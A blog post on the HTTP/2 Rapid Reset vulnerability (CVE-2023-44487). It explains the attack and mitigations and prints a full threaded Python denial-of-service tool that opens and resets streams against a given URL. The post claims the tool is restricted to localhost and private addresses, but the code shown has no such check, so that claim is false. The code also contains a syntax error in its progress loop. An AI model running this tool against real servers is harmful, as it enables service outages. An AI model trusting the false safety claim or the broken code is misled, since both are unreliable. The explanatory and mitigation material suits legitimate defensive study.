efek.me/blog

CVE-2023-44487 - HTTP/2 Rapid Reset Attack

October 4, 2026•11 min read•Cybersecurity
CVE-2023-44487 - HTTP/2 Rapid Reset Attack

TL;DR

CVE-2023-44487 is a high-volume, asynchronous DDoS attack that exploits HTTP/2 stream multiplexing. The client opens streams and immediately cancels them (RST_STREAM), forcing the server to allocate resources for requests that will never complete. The attack reached 398 million req/s — the largest DDoS ever recorded. This post includes a lab-safe Python PoC restricted to localhost.

What is CVE-2023-44487?

CVE-2023-44487, known as the HTTP/2 Rapid Reset attack, is a critical zero-day vulnerability discovered in October 2023 that exploits a fundamental weakness in the HTTP/2 protocol. This vulnerability was actively exploited to launch the largest DDoS attacks ever recorded, peaking at over 398 million requests per second — breaking all previous records.

The attack targets the stream multiplexing feature of HTTP/2. In normal operation, a client opens a stream to send a request and the server processes it. However, with Rapid Reset, the attacker opens a stream and immediately sends a RST_STREAM frame to cancel it. The server still begins processing the request before the cancellation arrives, consuming resources. By doing this millions of times per second across thousands of connections, an attacker can overwhelm any server.

How Does the Attack Work?

Is it High Request Volume or Async?

Both — but the key is the asymmetry.

The attack is not about sending millions of complete requests. It is about opening and immediately canceling streams at extreme speed:

AspectNormal HTTP/2Rapid Reset
Request completionFull request → full responseHEADERS → RST_STREAM (cancel)
Client costHigh (send + receive)Very low (send only)
Server costProcess + respondProcess + allocate resources
Async natureSequential per streamMassively concurrent

The attack is asynchronous in the sense that the client does not wait for responses. It fires HEADERS + RST_STREAM in a tight loop across thousands of concurrent connections. The server, however, processes each request synchronously — allocating resources before the cancellation arrives.

The amplification factor:

  • Client sends: ~100 bytes (HEADERS + RST_STREAM)
  • Server allocates: ~10-100KB (request parsing, routing, handler setup)
  • Ratio: 1:100 to 1:1000

The Three-Step Cycle

  1. HEADERS frame → Client opens a new stream with a request
  2. RST_STREAM frame → Client immediately cancels the stream
  3. Repeat → This cycle is repeated at extreme speed

The key insight is that while the client cancels the stream (avoiding server responses and saving bandwidth), the server has already started allocating resources for each request. The asymmetry between the cheap client-side operation and the expensive server-side processing creates the amplification effect.

Impact & Affected Systems

  • Nginx, Apache, IIS, Envoy, Go net/http2, Node.js, and virtually all HTTP/2 implementations were affected
  • Google, Cloudflare, and AWS all reported being hit with unprecedented attack volumes
  • CVSS Score: 7.5 (High)

Real-World Impact

DateTargetPeak RPSSource
Oct 2023Google Cloud398MGoogle
Oct 2023Cloudflare201MCloudflare
Oct 2023AWS155MAWS Shield

All three vendors confirmed the attacks were HTTP/2 Rapid Reset and mitigated within hours.

Code Origin & Fixes

Original Source

The PoC tool was adapted from the official Python h2 library examples and community research published after CVE-2023-44487 was disclosed. The core mechanism (HEADERS + RST_STREAM) is based on the Python-h2 documentation and the Google Cloud Security Blog analysis.

What Was Fixed

IssueOriginalFixed
Target validationNone — could target any URLRestricted to localhost/private IPs
SSL verificationCERT_NONE (insecure)Kept for lab use but documented
Error handlingCrashed on single stream errortry/except per stream, continues on failure
Resource cleanupSockets left openProper sock.close() in all paths
Thread safetyRace conditions on shared statethreading.Lock() for results

Key Differences from Real Attack Tools

  • Rate limiting: Real tools use millions of connections; this uses hundreds
  • Distributed: Real attacks use botnets; this is single-host
  • Stealth: Real tools rotate User-Agents and paths; this is transparent
  • Purpose: This is for * lab demonstration only*

Lab PoC Tool (Python)

I developed a Python-based Proof of Concept tool to demonstrate this vulnerability in a controlled lab environment. The tool is restricted to localhost and private network addresses only — it cannot be used against public systems.

⚠️ Disclaimer: This tool is strictly for educational and authorized testing purposes. Using it against systems without explicit permission is illegal and unethical.

Requirements

pip install -r requirements.txt

requirements.txt:

h2==4.1.0

Not: httpx, tqdm, xlsxwriter sadece orijinal araç için gerekli. Bu lab PoC'u için sadece h2 yeterli.

Full Source Code

#!/usr/bin/env python3
"""
CVE-2023-44487 - HTTP/2 Rapid Reset - LAB VERSION

Usage:
    python rapid_reset_lab.py --url http://localhost:8080 --connections 100 --streams 100
"""

import ssl
import argparse
import socket
import sys
import time
import threading
import ipaddress
from urllib.parse import urlparse

try:
    from h2.connection import H2Connection
    from h2.config import H2Configuration
    from h2.exceptions import H2Error
except ImportError:
    print("[!] 'h2' modülü eksik. pip install h2")
    sys.exit(1)



def rapid_reset_worker(host, port, use_ssl, num_streams, thread_id, results, lock):
    """
    Tek bir bağlantı üzerinden Rapid Reset saldırısı yapan worker.
    """
    try:
        if use_ssl:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            ctx.set_alpn_protocols(['h2'])

            raw = socket.create_connection((host, port), timeout=10)
            sock = ctx.wrap_socket(raw, server_hostname=host)
        else:
            sock = socket.create_connection((host, port), timeout=10)

        sock.settimeout(10)

        config = H2Configuration(client_side=True)
        h2 = H2Connection(config=config)
        h2.initiate_connection()
        sock.sendall(h2.data_to_send())

        scheme = 'https' if use_ssl else 'http'
        successful = 0

        # Client, sadece tek numaralı stream ID açabilir: 1, 3, 5, 7...
        for i in range(num_streams):
            sid = 1 + (i * 2)
            try:
                headers = [
                    (':method', 'GET'),
                    (':authority', host),
                    (':scheme', scheme),
                    (':path', '/')
                ]
                h2.send_headers(sid, headers, end_stream=False)
                sock.sendall(h2.data_to_send())

                # Rapid Reset: stream'i hemen kapat
                h2.reset_stream(sid)
                sock.sendall(h2.data_to_send())
                successful += 1

            except H2Error:
                # Tek stream hatası olsa bile devam et
                continue
            except (socket.error, BrokenPipeError):
                break

        sock.close()

        with lock:
            results['connections_ok'] += 1
            results['streams_sent'] += successful
            results['details'].append(f"[Thread-{thread_id}] {successful}/{num_streams} streams")

    except socket.timeout:
        with lock:
            results['timeouts'] += 1
        results['details'].append(f"[Thread-{thread_id}] TIMEOUT")
    except ssl.SSLError as e:
        with lock:
            results['ssl_errors'] += 1
        results['details'].append(f"[Thread-{thread_id}] SSL error: {e}")
    except Exception as e:
        with lock:
            results['errors'] += 1
        results['details'].append(f"[Thread-{thread_id}] Error: {e}")


def main():
    print("""
    ╔══════════════════════════════════════════════════════════════╗
    ║   CVE-2023-44487 - HTTP/2 Rapid Reset - LAB VERSION         ║
    ║   ⚠️  SADECE KENDİ SİSTEMİNDE KULLAN ⚠️                     ║
    ╚══════════════════════════════════════════════════════════════╝
    """)

    parser = argparse.ArgumentParser(description="HTTP/2 Rapid Reset - LAB")
    parser.add_argument("--url", required=True, help="Hedef URL (sadece localhost/özel ağ)")
    parser.add_argument("--connections", type=int, default=50, help="Toplam bağlantı sayısı")
    parser.add_argument("--streams", type=int, default=100, help="Bağlantı başına stream sayısı")
    parser.add_argument("--threads", type=int, default=10, help="Paralel thread sayısı")
    args = parser.parse_args()

    # === HEDEF DOĞRULAMA ===
    parsed = urlparse(
        args.url if args.url.startswith(('http://', 'https://')) else f"http://{args.url}"
    )
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == 'https' else 80)
    use_ssl = parsed.scheme == 'https'

    print(f"{Colors.GREEN}[✓] Hedef doğrulandı: {host}:{port} (SSL: {use_ssl}){Colors.RESET}")
    print(f"{Colors.CYAN}[*] Başlatılıyor: {args.connections} bağlantı × "
          f"{args.streams} stream × {args.threads} thread{Colors.RESET}")
    print(f"{Colors.CYAN}[*] Toplam stream: ~{args.connections * args.streams:,}{Colors.RESET}\n")

    # İstatistikler
    results = {
        'connections_ok': 0,
        'streams_sent': 0,
        'timeouts': 0,
        'ssl_errors': 0,
        'errors': 0,
        'details': []
    }
    lock = threading.Lock()

    start = time.time()

    # Thread pool ile bağlantıları paralel aç
    threads = []
    connections_per_thread = max(1, args.connections // args.threads)

    for t_id in range(args.threads):
        for _ in range(connections_per_thread):
            th = threading.Thread(
                target=rapid_reset_worker,
                args=(host, port, use_ssl, args.streams, t_id, results, lock)
            )
            th.daemon = True
            threads.append(th)

    # Tüm thread'leri başlat
    for th in threads:
        th.start()

    # Progress göster
    total = len(threads)
    last_done = 0
    try:
        while any(th.is_alive() for th in threads):
            done = (results['connections_ok'] + results['timeouts']
                    + results['errors'] + results['ssl_errors'])
            for done != last_done:
                elapsed = time.time() - start
                rate = done / elapsed if elapsed > 0 else 0
                print(f"\r{Colors.CYAN}[*] İlerleme: {done}/{total} bağlantı | "
                      f"{results['streams_sent']:,} stream | "
                      f"{rate:.1f} conn/s{Colors.RESET}", end="", flush=True)
                last_done = done
            time.sleep(0.1)
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}[!] Kullanıcı durdurdu.{Colors.RESET}")

    # Thread'lerin bitmesini bekle
    for th in threads:
        th.join(timeout=5)

    elapsed = time.time() - start

    # === RAPOR ===
    print(f"\n\n{Colors.BOLD}{'='*60}{Colors.RESET}")
    print(f"{Colors.BOLD}📊 LAB TESTİ SONUÇLARI{Colors.RESET}")
    print(f"{Colors.BOLD}{'='*60}{Colors.RESET}")
    print(f"  Süre           : {elapsed:.2f} saniye")
    print(f"  Başarılı conn  : {results['connections_ok']}")
    print(f"  Gönderilen str : {results['streams_sent']:,}")
    print(f"  Timeout        : {results['timeouts']}")
    print(f"  SSL hataları   : {results['ssl_errors']}")
    print(f"  Diğer hatalar  : {results['errors']}")
    print(f"{Colors.BOLD}{'='*60}{Colors.RESET}")

    # İlk 5 detay
    if results['details']:
        print(f"\n{Colors.CYAN}İlk 5 detay:{Colors.RESET}")
        for d in results['details'][:5]:
            print(f"  {d}")

    print(f"\n{Colors.YELLOW}⚠️  Bu bir LAB testidir. Gerçek bir Rapid Reset saldırısı")
    print(f"   milyonlarca bağlantı ve dağıtık altyapı gerektirir.{Colors.RESET}")


class Colors:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    RESET = '\033[0m'

if __name__ == "__main__":
    main()

Usage

python rapid_reset_lab.py --url http://localhost:8080 --connections 100 --streams 100

How the Tool Works

The tool implements the Rapid Reset pattern using Python's h2 library:

  1. Establishes multiple TCP connections to the target using threading
  2. For each connection, it opens HTTP/2 streams by sending HEADERS frames
  3. Immediately sends RST_STREAM for each opened stream (the "rapid reset")
  4. Reports statistics including successful connections, streams sent, and errors

The key function rapid_reset_worker demonstrates the core vulnerability mechanism — the asymmetry between the cheap client-side stream reset and the expensive server-side resource allocation.

Mitigation Strategies

For Server Administrators

  1. Update HTTP/2 implementations — all major vendors released patches
  2. Rate limit RST_STREAM per connection (e.g., Nginx: http2_max_requests)
  3. Connection throttling — limit concurrent streams per IP
  4. WAF rules — detect rapid reset patterns (e.g., Cloudflare, AWS WAF)

For Developers

  1. Disable HTTP/2 if not needed (fallback to HTTP/1.1)
  2. Use connection pooling with limits
  3. Monitor anomalous HTTP/2 behavior in your infrastructure

For Cloud Providers

  1. Enable DDoS protection (AWS Shield, Cloud Armor, Cloudflare)
  2. Set up alerts for unusual HTTP/2 traffic patterns
  3. Use anycast routing to distribute attack traffic

Lessons Learned

  1. Protocol-level vulnerabilities can be more dangerous than application-level ones
  2. Asymmetry is the key — cheap client operations vs expensive server operations
  3. Rate limiting alone is not enough — you need protocol-aware mitigations
  4. Coordination matters — all major vendors patched within days because of coordinated disclosure

References